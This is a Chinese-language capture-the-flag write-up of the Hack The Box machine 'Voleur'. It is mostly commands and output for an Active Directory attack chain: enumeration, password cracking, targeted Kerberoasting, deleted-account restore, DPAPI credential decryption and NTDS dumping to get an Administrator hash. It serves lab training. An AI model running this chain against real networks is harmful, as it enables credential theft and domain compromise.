Season8 - Voleur

https://app.hackthebox.com/machines/Voleur | Window | Medium

**Machine Information ：**As is common in real life Windows pentests, you will start the Voleur box with credentials for the following account: ryan.naylor / HollowOct31Nyt

Recon

端口 & 凭据

➜  Voleur nmap -sT -min-rate 5000 -p- 10.10.11.76     
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-06 21:21 CST
Nmap scan report for 10.10.11.76
Host is up (0.048s latency).
Not shown: 65525 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
593/tcp   open  http-rpc-epmap
3268/tcp  open  globalcatLDAP
49668/tcp open  unknown
57745/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 26.57 seconds

➜  Voleur nmap -sT -A -p $(cat port | awk -F '/' '{print $1}' | paste -sd ',') 10.10.11.76
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-07 05:00 CST
Nmap scan report for 10.10.11.76
Host is up (0.14s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-06 21:00:21Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
49668/tcp open  msrpc         Microsoft Windows RPC
57745/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 10|11|2016 (90%)
OS CPE: cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_11 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows 10 - 11 (90%), Microsoft Windows Server 2016 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-06T21:01:35
|_  start_date: N/A

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   152.79 ms 10.10.16.1
2   152.85 ms 10.10.11.76

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.00 seconds

测试凭据，需要指定Kerberos认证

➜  Voleur nxc ldap 10.10.11.76 -u ryan.naylor -p 'HollowOct31Nyt' -d voleur.htb    
LDAP        10.10.11.76     389    DC               [*] None (name:DC) (domain:voleur.htb)
LDAP        10.10.11.76     389    DC               [-] voleur.htb\ryan.naylor:HollowOct31Nyt STATUS_NOT_SUPPORTED
➜  Voleur nxc ldap 10.10.11.76 -u ryan.naylor -p 'HollowOct31Nyt' -d voleur.htb -k 
LDAP        10.10.11.76     389    DC               [*] None (name:DC) (domain:voleur.htb)
LDAP        10.10.11.76     389    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt

枚举用户

➜  Voleur nxc ldap 10.10.11.76 -u ryan.naylor -p 'HollowOct31Nyt' -d voleur.htb -k --users
LDAP        10.10.11.76     389    DC               [*] None (name:DC) (domain:voleur.htb)
LDAP        10.10.11.76     389    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt 
LDAP        10.10.11.76     389    DC               [*] Enumerated 11 domain users: voleur.htb
LDAP        10.10.11.76     389    DC               -Username-                    -Last PW Set-       -BadPW-  -Description-
LDAP        10.10.11.76     389    DC               Administrator                 2025-01-29 04:35:13 0        Built-in account for administering the computer/domain
LDAP        10.10.11.76     389    DC               Guest                         <never>             0        Built-in account for guest access to the computer/domain
LDAP        10.10.11.76     389    DC               krbtgt                        2025-01-29 16:43:06 0        Key Distribution Center Service Account
LDAP        10.10.11.76     389    DC               ryan.naylor                   2025-01-29 17:26:46 0        First-Line Support Technician
LDAP        10.10.11.76     389    DC               marie.bryant                  2025-01-29 17:21:07 2        First-Line Support Technician
LDAP        10.10.11.76     389    DC               lacey.miller                  2025-01-29 17:20:10 3        Second-Line Support Technician
LDAP        10.10.11.76     389    DC               svc_ldap                      2025-01-29 17:20:54 0                  
LDAP        10.10.11.76     389    DC               svc_backup                    2025-01-29 17:20:36 3                  
LDAP        10.10.11.76     389    DC               svc_iis                       2025-01-29 17:20:45 0                  
LDAP        10.10.11.76     389    DC               jeremy.combs                  2025-01-29 23:10:32 3        Third-Line Support Technician
LDAP        10.10.11.76     389    DC               svc_winrm                     2025-01-31 17:10:12 0

BloodHound

上Bloodhound

➜  Voleur bloodhound-python -k -d 'voleur.htb' -ns 10.10.11.76 --zip -c All -dc 'DC.voleur.htb' -u ryan.naylor -p HollowOct31Nyt 
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: voleur.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: DC.voleur.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC.voleur.htb
INFO: Found 12 users
INFO: Found 56 groups
INFO: Found 2 gpos
INFO: Found 5 ous
INFO: Done in 03M 01S                   
INFO: Compressing output into 20250707052145_bloodhound.zip

突然发现有三个有趣的组

MATCH (g:Group) WHERE g.name CONTAINS 'TECHNICIANS' RETURN g

当前我们的用户属于FIRST-LINE TECHNICIANS

属于远程组用户有两个，我更倾向于JEREMY.COMBS

SMB Recon

但是我们当前用户无法执行任何操作，我们回到SMB

// 生成 krb5.conf 文件
➜  Voleur nxc smb DC.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k --generate-krb5-file krb5.conf
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt

➜  Voleur getTGT.py voleur.htb/ryan.naylor:'HollowOct31Nyt' -dc-ip 10.10.11.76 -k
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
[*] Saving ticket in ryan.naylor.ccache

➜  Voleur export KRB5CCNAME=ryan.naylor.ccache     
                              
➜  Voleur nxc smb DC.voleur.htb -u ryan.naylor -d voleur.htb -k --use-kcache
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\ryan.naylor from ccache

记得加上 --smb-timeout 9999 ，否则可能会出现：The NETBIOS connection with the remote host timed out.

➜  Voleur nxc smb DC.voleur.htb -u ryan.naylor -d voleur.htb -k --use-kcache --shares --smb-timeout 9999
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\ryan.naylor from ccache 
SMB         DC.voleur.htb   445    DC               [*] Enumerated shares
SMB         DC.voleur.htb   445    DC               Share           Permissions     Remark
SMB         DC.voleur.htb   445    DC               -----           -----------     ------
SMB         DC.voleur.htb   445    DC               ADMIN$                          Remote Admin
SMB         DC.voleur.htb   445    DC               C$                              Default share
SMB         DC.voleur.htb   445    DC               Finance                         
SMB         DC.voleur.htb   445    DC               HR                              
SMB         DC.voleur.htb   445    DC               IPC$            READ            Remote IPC
SMB         DC.voleur.htb   445    DC               IT              READ            
SMB         DC.voleur.htb   445    DC               NETLOGON        READ            Logon server share 
SMB         DC.voleur.htb   445    DC               SYSVOL          READ            Logon server share

使用nxc运行模块列出所有可读文件

➜  Voleur nxc smb DC.voleur.htb -u ryan.naylor -d voleur.htb -k --use-kcache --smb-timeout 9999 -M spider_plus
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\ryan.naylor from ccache 
SPIDER_PLUS DC.voleur.htb   445    DC               [*] Started module spidering_plus with the following options:
SPIDER_PLUS DC.voleur.htb   445    DC               [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS DC.voleur.htb   445    DC               [*]     STATS_FLAG: True
SPIDER_PLUS DC.voleur.htb   445    DC               [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS DC.voleur.htb   445    DC               [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS DC.voleur.htb   445    DC               [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS DC.voleur.htb   445    DC               [*]  OUTPUT_FOLDER: /root/.nxc/modules/nxc_spider_plus
SMB         DC.voleur.htb   445    DC               [*] Enumerated shares
SMB         DC.voleur.htb   445    DC               Share           Permissions     Remark
SMB         DC.voleur.htb   445    DC               -----           -----------     ------
SMB         DC.voleur.htb   445    DC               ADMIN$                          Remote Admin
SMB         DC.voleur.htb   445    DC               C$                              Default share
SMB         DC.voleur.htb   445    DC               Finance                         
SMB         DC.voleur.htb   445    DC               HR                              
SMB         DC.voleur.htb   445    DC               IPC$            READ            Remote IPC
SMB         DC.voleur.htb   445    DC               IT              READ            
SMB         DC.voleur.htb   445    DC               NETLOGON        READ            Logon server share 
SMB         DC.voleur.htb   445    DC               SYSVOL          READ            Logon server share 
SPIDER_PLUS DC.voleur.htb   445    DC               [+] Saved share-file metadata to "/root/.nxc/modules/nxc_spider_plus/DC.voleur.htb.json".
SPIDER_PLUS DC.voleur.htb   445    DC               [*] SMB Shares:           8 (ADMIN$, C$, Finance, HR, IPC$, IT, NETLOGON, SYSVOL)
SPIDER_PLUS DC.voleur.htb   445    DC               [*] SMB Readable Shares:  4 (IPC$, IT, NETLOGON, SYSVOL)
SPIDER_PLUS DC.voleur.htb   445    DC               [*] SMB Filtered Shares:  1
SPIDER_PLUS DC.voleur.htb   445    DC               [*] Total folders found:  27
SPIDER_PLUS DC.voleur.htb   445    DC               [*] Total files found:    7
SPIDER_PLUS DC.voleur.htb   445    DC               [*] File size average:    3.55 KB
SPIDER_PLUS DC.voleur.htb   445    DC               [*] File size min:        22 B
SPIDER_PLUS DC.voleur.htb   445    DC               [*] File size max:        16.5 KB

转储所有文件

➜  Voleur nxc smb DC.voleur.htb -u ryan.naylor -d voleur.htb -k --use-kcache --smb-timeout 9999 -M spider_plus -o DOWNLOAD_FLAG=True
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\ryan.naylor from ccache 
SPIDER_PLUS DC.voleur.htb   445    DC               [*] Started module spidering_plus with the following options:
SPIDER_PLUS DC.voleur.htb   445    DC               [*]  DOWNLOAD_FLAG: True
SPIDER_PLUS DC.voleur.htb   445    DC               [*]     STATS_FLAG: True
SPIDER_PLUS DC.voleur.htb   445    DC               [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS DC.voleur.htb   445    DC               [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS DC.voleur.htb   445    DC               [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS DC.voleur.htb   445    DC               [*]  OUTPUT_FOLDER: /root/.nxc/modules/nxc_spider_plus
SMB         DC.voleur.htb   445    DC               [*] Enumerated shares
SMB         DC.voleur.htb   445    DC               Share           Permissions     Remark
SMB         DC.voleur.htb   445    DC               -----           -----------     ------
SMB         DC.voleur.htb   445    DC               ADMIN$                          Remote Admin
SMB         DC.voleur.htb   445    DC               C$                              Default share
SMB         DC.voleur.htb   445    DC               Finance                         
SMB         DC.voleur.htb   445    DC               HR                              
SMB         DC.voleur.htb   445    DC               IPC$            READ            Remote IPC
SMB         DC.voleur.htb   445    DC               IT              READ            
SMB         DC.voleur.htb   445    DC               NETLOGON        READ            Logon server share 
SMB         DC.voleur.htb   445    DC               SYSVOL          READ            Logon server share 
SPIDER_PLUS DC.voleur.htb   445    DC               [+] Saved share-file metadata to "/root/.nxc/modules/nxc_spider_plus/DC.voleur.htb.json".
SPIDER_PLUS DC.voleur.htb   445    DC               [*] SMB Shares:           8 (ADMIN$, C$, Finance, HR, IPC$, IT, NETLOGON, SYSVOL)
SPIDER_PLUS DC.voleur.htb   445    DC               [*] SMB Readable Shares:  4 (IPC$, IT, NETLOGON, SYSVOL)
SPIDER_PLUS DC.voleur.htb   445    DC               [*] SMB Filtered Shares:  1
SPIDER_PLUS DC.voleur.htb   445    DC               [*] Total folders found:  27
SPIDER_PLUS DC.voleur.htb   445    DC               [*] Total files found:    7
SPIDER_PLUS DC.voleur.htb   445    DC               [*] File size average:    3.55 KB
SPIDER_PLUS DC.voleur.htb   445    DC               [*] File size min:        22 B
SPIDER_PLUS DC.voleur.htb   445    DC               [*] File size max:        16.5 KB
SPIDER_PLUS DC.voleur.htb   445    DC               [*] File unique exts:     5 (pol, ini, xlsx, inf, csv)
SPIDER_PLUS DC.voleur.htb   445    DC               [*] Downloads successful: 7
SPIDER_PLUS DC.voleur.htb   445    DC               [+] All files processed successfully.

xlsx Crack

打开xlsx文件需要密码

➜  Voleur office2john Access_Review.xlsx > xslxPass.txt

➜  Voleur john --wordlist=/usr/share/wordlists/rockyou.txt xslxPass.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2013 for all loaded hashes
Cost 2 (iteration count) is 100000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
football1        (Access_Review.xlsx)     
1g 0:00:00:05 DONE (2025-07-07 06:52) 0.1945g/s 161.8p/s 161.8c/s 161.8C/s football1..legolas
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

内容是：

User	Job Title	Permissions	Notes
Ryan.Naylor	First-Line Support Technician	SMB	Has Kerberos Pre-Auth disabled temporarily to test legacy systems.
Marie.Bryant	First-Line Support Technician	SMB
Lacey.Miller	Second-Line Support Technician	Remote Management Users
~~Todd.Wolfe~~	Second-Line Support Technician	Remote Management Users	Leaver. Password was reset to NightT1meP1dg3on14 and account deleted.
Jeremy.Combs	Third-Line Support Technician	Remote Management Users.	Has access to Software folder.
Administrator	Administrator	Domain Admin	Not to be used for daily tasks!
Service Accounts
svc_backup		Windows Backup	Speak to Jeremy!
svc_ldap		LDAP Services	P/W - M1XyC9pW7qT5Vn
svc_iis		IIS Administration	P/W - N5pXyW1VqM7CZ8
svc_winrm		Remote Management	Need to ask Lacey as she reset this recently.

Targeted Kerberoasting

我们拥有了svc_ldap 和 svc_iis 的密码

并且 svc_ldap 拥有对 svc_winrm 的 WirteSPN

可以使用 Targeted Kerberoasting 攻击，Tools：https://github.com/ShutdownRepo/targetedKerberoast

➜  Voleur getTGT.py voleur.htb/svc_ldap:'M1XyC9pW7qT5Vn' -dc-ip 10.10.11.76 -k
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_ldap.ccache

➜  Voleur export KRB5CCNAME=svc_ldap.ccache

python targetedKerberoast.py -v -d voleur.htb --dc-ip 10.10.11.76 --dc-host dc.voleur.htb -u svc_ldap -k --no-pass

PS：不清楚为什么todd.wolfe 被删掉了还能拿到，可能是被其他人恢复了，题目应该是要我们恢复账户的

使用hashcat破解

➜  targetedKerberoast hashcat -h | grep Kerberos
  19600 | Kerberos 5, etype 17, TGS-REP                              | Network Protocol
  19800 | Kerberos 5, etype 17, Pre-Auth                             | Network Protocol
  28800 | Kerberos 5, etype 17, DB                                   | Network Protocol
  19700 | Kerberos 5, etype 18, TGS-REP                              | Network Protocol
  19900 | Kerberos 5, etype 18, Pre-Auth                             | Network Protocol
  28900 | Kerberos 5, etype 18, DB                                   | Network Protocol
   7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth                      | Network Protocol
  13100 | Kerberos 5, etype 23, TGS-REP                              | Network Protocol
  18200 | Kerberos 5, etype 23, AS-REP                               | Network Protocol

➜  Voleur hashcat -m 13100 kerberos_TGS_23 /usr/share/wordlists/rockyou.txt

最后可以拿到svc_winrm 的密码 AFireInsidedeOzarctica980219afi

尝试winrm登录

➜  Voleur getTGT.py voleur.htb/svc_winrm:'AFireInsidedeOzarctica980219afi' -dc-ip 10.10.11.76 -k
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_winrm.ccache

➜  Voleur export KRB5CCNAME=svc_winrm.ccache

读取user.txt

*Evil-WinRM* PS C:\Users\svc_winrm\Desktop> type user.txt
f32246ed77a6xxxxxxx

恢复账户

之前的xlsx中有被删除的用户Todd.Wolfe，我们查看一下是否存在

新版本中的 BloodyAD可以对已删除的用户进行恢复了，免去了很多操作

侦查是否有被删除用户：

// 通过 RunasCs.exe 获得的 Shell
PS C:\Windows\system32> Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects

Deleted           : True
DistinguishedName : CN=Deleted Objects,DC=voleur,DC=htb
Name              : Deleted Objects
ObjectClass       : container
ObjectGUID        : 587cd8b4-6f6a-46d9-8bd4-8fb31d2e18d8

Deleted           : True
DistinguishedName : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb
Name              : Todd Wolfe
                    DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
ObjectClass       : user
ObjectGUID        : 1c6b1deb-c372-4cbb-87b1-15031de169db

// 通过 BloodyAD
➜  Voleur bloodyAD -d voleur.htb --host dc.voleur.htb -u svc_ldap -k get search --filter "(isDeleted=TRUE)" --attr distinguishedName -c 1.2.840.113556.1.4.2064 |grep Todd
distinguishedName: CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb

使用BloodyAD恢复账户

➜  Voleur bloodyAD -d voleur.htb --host dc.voleur.htb -u svc_ldap -k set restore todd.wolfe 
[+] todd.wolfe has been restored successfully under CN=Todd Wolfe,OU=Second-Line Support Technicians,DC=voleur,DC=htb

恢复后，我们将BloodHound数据更新一下

➜  Voleur bloodhound-python -k -d 'voleur.htb' -ns 10.10.11.76 --zip -c All -dc 'DC.voleur.htb' -u todd.wolfe -p NightT1meP1dg3on14 
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: voleur.htb
INFO: Using TGT from cache
WARNING: Username in ccache file does not match supplied username! svc_ldap@VOLEUR.HTB != todd.wolfe@VOLEUR.HTB
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC.voleur.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC.voleur.htb
INFO: Found 13 users
INFO: Found 56 groups
INFO: Found 2 gpos
INFO: Found 5 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.voleur.htb
INFO: Done in 00M 10S
INFO: Compressing output into 20250707211514_bloodhound.zip

getTGT.py voleur.htb/todd.wolfe:'NightT1meP1dg3on14' -dc-ip 10.10.11.76 -k

DPAPI

我们下一个用户应该是Jeremy.Combs 因为他有 Has access to Software folder.

我们从todd.wolfe寻找可以横向的方法

可以看到todd属于SECOND_LINE ，看一下SMB

➜  Voleur export KRB5CCNAME=todd.wolfe.ccache

➜  Voleur nxc smb DC.voleur.htb -u todd.wolfe -d voleur.htb -k --use-kcache --smb-timeout 9999
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\todd.wolfe from ccache

使用smbclient.py 进行连接，nxc会有点问题

➜  Voleur smbclient.py -k DC.VOLEUR.HTB
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# shares
ADMIN$
C$
Finance
HR
IPC$
IT
NETLOGON
SYSVOL

貌似偶DPAPI可以打（其实在svc_ldap用户中也有DPAPI）

# use IT

# pwd
/Second-Line Support/Archived Users/todd.wolfe/AppDAta/Roaming/Microsoft/Credentials
# ls
drw-rw-rw-          0  Wed Jan 29 23:13:09 2025 .
drw-rw-rw-          0  Wed Jan 29 23:13:09 2025 ..
-rw-rw-rw-        398  Wed Jan 29 21:13:50 2025 772275FAD58525253490A9B0039791D3

# pwd
/Second-Line Support/Archived Users/todd.wolfe/AppDAta/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110
# ls
drw-rw-rw-          0  Wed Jan 29 23:13:09 2025 .
drw-rw-rw-          0  Wed Jan 29 23:13:09 2025 ..
-rw-rw-rw-        740  Wed Jan 29 21:09:25 2025 08949382-134f-4c63-b93c-ce52efc0aa88
-rw-rw-rw-        900  Wed Jan 29 20:53:08 2025 BK-VOLEUR
-rw-rw-rw-         24  Wed Jan 29 20:53:08 2025 Preferred

将两个文件get下来

尝试DPAPI ：https://www.thehacker.recipes/ad/movement/credentials/dumping/dpapi-protected-secrets#practice

dpapi.py masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14

dpapi.py credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

得到jeremy.combs 账户密码 qT3V9pLXyN7W4m

NTDS

通过表格能知道 jeremy 拥有 Has access to Software folder.

getTGT.py voleur.htb/jeremy.combs:'qT3V9pLXyN7W4m' -dc-ip 10.10.11.76 -k
export KRB5CCNAME=jeremy.combs.ccache

继续查看SMB

➜  Voleur smbclient.py -k DC.VOLEUR.HTB
# use IT
# pwd
/Third-Line Support
# ls
drw-rw-rw-          0  Fri Jan 31 00:11:29 2025 .
drw-rw-rw-          0  Wed Jan 29 17:10:01 2025 ..
-rw-rw-rw-       2602  Fri Jan 31 00:11:29 2025 id_rsa
-rw-rw-rw-        186  Fri Jan 31 00:07:35 2025 Note.txt.txt

Note.txt.txt

➜  Voleur cat Note.txt.txt   
Jeremy,

I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.

Please see what you can set up.

Thanks,

Admin#

然后id_rsa是SSH私钥，给了私钥，那么就应该可以进行SSH登录，用户和backup有关的

那么就是svc_backup

但是没有发现SSH端口，重新扫描一下

➜  Voleur nmap -sT -min-rate 5000 -p- 10.10.11.76
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-07 23:10 CST
Nmap scan report for voleur.htb (10.10.11.76)
Host is up (0.058s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2222/tcp  open  EtherNetIP-1
3268/tcp  open  globalcatLDAP

➜  Voleur nmap -sT -A -p 2222 10.10.11.76
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-07 23:11 CST
Nmap scan report for voleur.htb (10.10.11.76)
Host is up (0.047s latency).

PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)

2222是SSH的端口

在/mnt中有c盘的备份

svc_backup@DC:/mnt$ ls -al
total 0
drwxr-xr-x 1 root       root       4096 Jan 30 03:46 .
drwxr-xr-x 1 root       root       4096 Jan 30 03:46 ..
drwxrwxrwx 1 svc_backup svc_backup 4096 Jun 30 14:08 c

/IT/Third-Line Support/Backups 中有NTDS文件

svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups$ ls -al
total 0
drwxrwxrwx 1 svc_backup svc_backup 4096 Jan 30 08:11  .
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 30 08:11  ..
drwxrwxrwx 1 svc_backup svc_backup 4096 Jan 30 03:49 'Active Directory'
drwxrwxrwx 1 svc_backup svc_backup 4096 Jan 30 03:49  registry

svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups$ ls Active\ Directory/ -al
total 24592
drwxrwxrwx 1 svc_backup svc_backup     4096 Jan 30 03:49 .
drwxrwxrwx 1 svc_backup svc_backup     4096 Jan 30 08:11 ..
-rwxrwxrwx 1 svc_backup svc_backup 25165824 Jan 30 03:49 ntds.dit
-rwxrwxrwx 1 svc_backup svc_backup    16384 Jan 30 03:49 ntds.jfm
svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups$ ls registry/ -al
total 17952
drwxrwxrwx 1 svc_backup svc_backup     4096 Jan 30 03:49 .
drwxrwxrwx 1 svc_backup svc_backup     4096 Jan 30 08:11 ..
-rwxrwxrwx 1 svc_backup svc_backup    32768 Jan 30 03:30 SECURITY
-rwxrwxrwx 1 svc_backup svc_backup 18350080 Jan 30 03:30 SYSTEM

转储出去，使用secretdump转储出来

➜  Voleur getTGT.py voleur.htb/administrator -hashes 'aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2' -dc-ip 10.10.11.76 -k
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in administrator.ccache

总结

总体不难，但是步骤会多点，而且SMB不太稳定，总是爆红…

HackTheBox - Machine - Voleur